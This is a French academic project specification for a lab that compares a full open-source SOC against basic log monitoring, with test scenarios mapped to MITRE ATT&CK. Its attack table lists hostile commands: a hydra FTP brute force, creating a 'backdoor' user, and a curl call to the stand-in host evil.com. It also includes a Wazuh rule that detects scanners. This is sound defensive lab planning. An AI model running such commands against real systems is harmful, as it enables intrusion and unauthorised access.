



**ECOLE MAROCAINE DES
SCIENCES DE L'INGENIEUR**

Membre de

HONORIS UNITED UNIVERSITIES

Cahier des Charges

Projet SOC Comparatif

Étude de l'efficacité d'un SOC complet vs. surveillance basique

Réalisé par :

Mohamed Reda CHOUIKH

Mohamed WADI

Sous la direction de :

Dr. Zouhair CHIBA

Date :

3 mai 2026

Version : 1.0 - Finale

Table des matières

1	Introduction	4
1.1	Contexte du projet	4
1.2	Problématique	4
1.3	Objectifs principaux	4
2	Description détaillée du projet	4
2.1	Architecture globale	4
2.2	Dispositifs sous test	4
3	Livrables attendus	5
3.1	Livrables techniques	5
3.2	Livrables d'analyse	5
4	Contraintes techniques et prérequis	5
4.1	Configuration matérielle minimale	5
4.2	Logiciels requis	6
5	Planning et jalons	6
5.1	Planning prévisionnel (5 semaines)	6
5.2	Diagramme de Gantt	6
6	Méthodologie des tests	7
6.1	Scénarios d'attaque	7
6.2	Métriques de performance	7
7	Spécifications détaillées par composant	7
7.1	pfSense - Pare-feu zone	7
7.2	Wazuh - Règles MITRE personnalisées	8
7.3	Shuffle - Workflow d'automatisation	8
8	Validation et critères d'acceptation	8
8.1	Critères obligatoires	8
8.2	Critères optionnels (bonus)	9
9	Analyse des risques	9
10	Environnement de test	9
10.1	Réseau d'isolation	9
10.2	Sécurité de l'environnement	9
11	Documentation à fournir	10
11.1	Documentation technique	10
11.2	Documentation utilisateur	10
12	Glossaire	10

13 Conclusion et perspectives	10
13.1 Perspectives d'évolution	11
A Annexes	12
A.1 Annexe A : Commandes utiles	12
A.2 Annexe B : URLs des ressources	12
A.3 Annexe C : Fiches techniques des composants	12

Table des figures

1	Diagramme de Gantt prévisionnel	6
2	Plan d'adressage IP	9

Liste des tableaux

1	Configuration comparative des dispositifs	5
2	Configuration matérielle requise	6
3	Planning détaillé	6
4	Matrice des attaques simulées	7
5	Matrice d'analyse des risques	9
6	Glossaire des termes techniques	10

1 Introduction

1.1 Contexte du projet

Dans un paysage de cybermenaces en constante évolution, les organisations doivent évaluer l'efficacité réelle de leurs investissements en sécurité. Ce projet vise à démontrer, par une approche expérimentale, la valeur ajoutée d'un Centre d'Opérations de Sécurité (SOC) complet par rapport à une simple collecte de logs.

1.2 Problématique

“Quelle est la différence mesurable en termes de détection, temps de réponse et mitigation entre un dispositif protégé par un SOC complet et un dispositif disposant uniquement d'un agent de collecte de logs ?”

1.3 Objectifs principaux

- Déployer une infrastructure SOC 100% open source fonctionnelle
- Comparer objectivement deux dispositifs soumis aux mêmes attaques
- Quantifier les gains apportés par un SOC complet
- Fournir une méthodologie reproductible pour l'évaluation de SOC

2 Description détaillée du projet

2.1 Architecture globale

Le projet repose sur une architecture segmentée comprenant :

- Un firewall pfSense assurant la segmentation réseau (WAN, LAN, DMZ)
- Un SIEM Wazuh centralisant tous les logs
- Un SOAR Shuffle pour l'automatisation des réponses
- Une plateforme TheHive pour la gestion des incidents
- Un simulateur d'attaque Caldera (MITRE ATT&CK)
- Deux dispositifs cibles (protégé vs. non protégé)

2.2 Dispositifs sous test

Composant	Dispositif A (Protégé)	Dispositif B (Non protégé)
Système d'exploitation	Ubuntu 22.04 Server	Ubuntu 22.04 Desktop
Services exposés	Apache, Postfix	vsFTPD (vulnérable)
Zone réseau	DMZ	LAN
Règles firewall	Strictes (allow only 80,443,25)	Aucune restriction

Agent Wazuh	Installé + règles MITRE	Installé (configuration par défaut)
SOAR	Actif (Shuffle + TheHive)	Désactivé
Enrichissement	VirusTotal, GeoIP	Aucun

TABLE 1 – Configuration comparative des dispositifs

3 Livrables attendus

3.1 Livrables techniques

1. Code et configurations

- Scripts d’installation automatisée (Ansible ou Bash)
- Fichiers de configuration pfSense (XML)
- Règles personnalisées Wazuh (local_rules.xml)
- Workflow Shuffle (JSON exportable)
- Playbook Caldera pour les attaques

2. Documentation

- Guide d’installation pas-à-pas
- Schéma d’architecture détaillé
- Procédure opérationnelle standard (SOP)
- Matrice de test MITRE ATT&CK

3.2 Livrables d’analyse

- Matrice comparative des temps de détection (MTTD)
- Graphiques d’analyse des performances
- Rapport final d’évaluation (40+ pages)
- Présentation de soutenance (20 slides)
- Vidéo de démonstration (5-10 minutes)

4 Contraintes techniques et prérequis

4.1 Configuration matérielle minimale

Machine virtuelle	CPU	RAM	Stockage
pfSense	2 cœurs	2 Go	20 Go
Wazuh Manager	4 cœurs	8 Go	100 Go
TheHive	2 cœurs	4 Go	50 Go
Shuffle	2 cœurs	4 Go	30 Go
Caldera	2 cœurs	2 Go	20 Go
Device A	2 cœurs	2 Go	30 Go

Device B	2 cœurs	2 Go	30 Go
----------	---------	------	-------

TABLE 2 – Configuration matérielle requise

Total requis : 16 cœurs CPU, 24 Go RAM, 280 Go stockage

4.2 Logiciels requis

- Hyperviseur : VMware Workstation Pro 17+ / VirtualBox 7+
- Systèmes hôtes : Ubuntu 22.04 LTS pour tous les serveurs
- Outils réseaux : Nmap, tcpdump, Wireshark
- APIs externes : VirusTotal (clé API gratuite)

5 Planning et jalons

5.1 Planning prévisionnel (5 semaines)

Phase	Tâches	Durée	Livrables
Semaine 1	Installation infra-structure de base	5j	VMs fonctionnelles, réseau segmenté
Semaine 2	Déploiement Wazuh + Intégration pfSense	5j	SIEM opérationnel, logs centralisés
Semaine 3	Configuration SOAR (Shuffle + TheHive)	5j	Workflows automatisés, alertes
Semaine 4	Écriture règles MITRE + tests Caldera	5j	Règles personnalisées, attaques simulées
Semaine 5	Collecte données + analyse + rédaction rapport	5j	Rapport final, présentations

TABLE 3 – Planning détaillé

5.2 Diagramme de Gantt

Tâches	S1	S2	S3	S4	S5
Infrastructure	XXXXX				
Wazuh		XXXXX	X		
SOAR			XXXXX		
Règles MITRE				XXXXX	
Tests & Rapport				X	XXXXX

FIGURE 1 – Diagramme de Gantt prévisionnel

6 Méthodologie des tests

6.1 Scénarios d'attaque

Chaque technique sera exécutée 3 fois sur chaque dispositif :

ID MITRE	Technique	Commande Cal-dera	Métrique mesurée
T1046	Découverte réseau	<code>nmap -sS <cible></code>	Temps détection
T1190	Exploitation service	<code>hydra ftp://<cible></code>	Blocage réussi ?
T1059.001	Exécution commande	<code>whoami && hostname</code>	Enrichissement
T1078	Création compte	<code>useradd backdoor</code>	Alerting FIM
T1566	Simulation phishing	<code>curl evil.com/phish</code>	Intelligence TI

TABLE 4 – Matrice des attaques simulées

6.2 Métriques de performance

- **MTTD (Mean Time to Detect)** : Temps moyen entre début attaque et alerte
- **MTTR (Mean Time to Respond)** : Temps moyen entre alerte et action
- **Taux de faux positifs** : Alertes invalides / Alertes totales
- **Taux de couverture MITRE** : Techniques détectées / Techniques tentées
- **Niveau d'enrichissement** : Nombre de sources TI consultées

7 Spécifications détaillées par composant

7.1 pfSense - Pare-feu zone

Listing 1 – Règles pfSense pour segmentation DMZ/LAN

```
<!-- Rgles DMZ (Device A) -->
<rule>
  <interface>wan</interface>
  <protocol>tcp</protocol>
  <destination>
    <network>192.168.1.100</network>
    <port>80,443,25</port>
  </destination>
  <action>pass</action>
</rule>

<!-- Rgles LAN (Device B) -->
<rule>
  <interface>lan</interface>
  <source>192.168.1.200</source>
  <destination>any</destination>
```



```
<action>pass</action>
</rule>
```

7.2 Wazuh - Règles MITRE personnalisées

Listing 2 – Exemple règle T1046 (Network Scan)

```
<group name="mitre_attck">
  <rule id="100010" level="10">
    <if_sid>31150</if_sid>
    <match>nmap|masscan|port scan</match>
    <description>Port scan detected - T1046</description>
    <mitre>
      <id>T1046</id>
      <tactic>Discovery</tactic>
    </mitre>
  </rule>
</group>
```

7.3 Shuffle - Workflow d'automatisation

Listing 3 – Workflow SOAR simplifié

```
{
  "workflow": {
    "triggers": [{
      "type": "webhook",
      "path": "/wazuh-alerts"
    }],
    "steps": [
      {"action": "parse_alert", "output": "alert_data"},
      {"action": "enrich_ip", "api": "virustotal"},
      {"condition": "alert.risk_level > 7",
       "action": "create_thehive_case"},
      {"action": "block_ip_pfsense", "firewall": true}
    ]
  }
}
```

8 Validation et critères d'acceptation

8.1 Critères obligatoires

Infrastructure complètement déployée et fonctionnelle

Tous les logs centralisés dans Wazuh

Au moins 5 règles MITRE personnalisées actives

Workflow Shuffle créant automatiquement des cas dans TheHive

Caldera exécutant avec succès le scénario d'attaque

Différence mesurable entre Device A et Device B

8.2 Critères optionnels (bonus)

Intégration d'Active Directory pour l'authentification

Dashboard Grafana pour visualisation avancée

Alertes email/Slack pour notifications SOC

Sauvegarde automatisée des configurations

Tests de résistance (1000+ attaques simultanées)

9 Analyse des risques

Risque	Probabilité	Impact	Niveau	Mitigation
Problèmes compatibilité versions	Moyenne	Élevé	Élevé	Tester versions avant déploiement
Performance insuffisante	Faible	Moyen	Moyen	Allocation ressources suffisante
API externes indisponibles	Moyenne	Moyen	Moyen	Cache local + fallback
Attaque contourne détection	Faible	Critique	Élevé	Redondance + corrélation

TABLE 5 – Matrice d'analyse des risques

10 Environnement de test

10.1 Réseau d'isolation

Réseau	Plage IP	VLAN ID
WAN	10.0.2.0/24	- (NAT)
LAN	192.168.1.0/24	10
DMZ	192.168.2.0/24	20
SOC	192.168.3.0/24	30
Attaquant	192.168.100.0/24	99

FIGURE 2 – Plan d'adressage IP

10.2 Sécurité de l'environnement

- Isolation complète du réseau de production

- Snapshots avant chaque campagne de test
- Mots de passe complexes pour tous les services
- Journalisation de toutes les actions administrateur
- Nettoyage post-test (suppression VMs, logs)

11 Documentation à fournir

11.1 Documentation technique

1. Guide d'installation complet (50+ pages)
2. Procédures de dépannage (Runbook)
3. Schémas d'architecture (format Draw.io, PDF)
4. Code source commenté (GitLab/GitHub)

11.2 Documentation utilisateur

1. Guide d'utilisation du SOC
2. Procédure de réponse à incident
3. FAQ (Foire Aux Questions)
4. Tutoriels vidéo (format MP4)

12 Glossaire

Terme	Définition
SOC	Security Operations Center - Centre d'opérations de sécurité
SIEM	Security Information and Event Management
SOAR	Security Orchestration, Automation and Response
NIDS	Network Intrusion Detection System
MITRE ATT&CK	Matrice des tactiques et techniques d'attaque
MTTD	Mean Time to Detect - Temps moyen de détection
DMZ	Demilitarized Zone - Zone démilitarisée

TABLE 6 – Glossaire des termes techniques

13 Conclusion et perspectives

Ce cahier des charges définit l'intégralité des spécifications pour la réalisation d'un projet comparatif d'envergure démontrant la valeur ajoutée d'un SOC complet. Les livrables attendus permettront non seulement de valider les hypothèses de départ mais aussi de fournir une feuille de route reproductible pour toute organisation souhaitant évaluer son investissement en cybersécurité.

13.1 Perspectives d'évolution

- Ajout de l'analyse comportementale par Machine Learning
- Intégration d'un HIDS (Osquery) pour la surveillance avancée
- Déploiement en environnement cloud (AWS/Azure)
- Extension à 10+ dispositifs simultanés

A Annexes

A.1 Annexe A : Commandes utiles

A.2 Annexe B : URLs des ressources

A.3 Annexe C : Fiches techniques des composants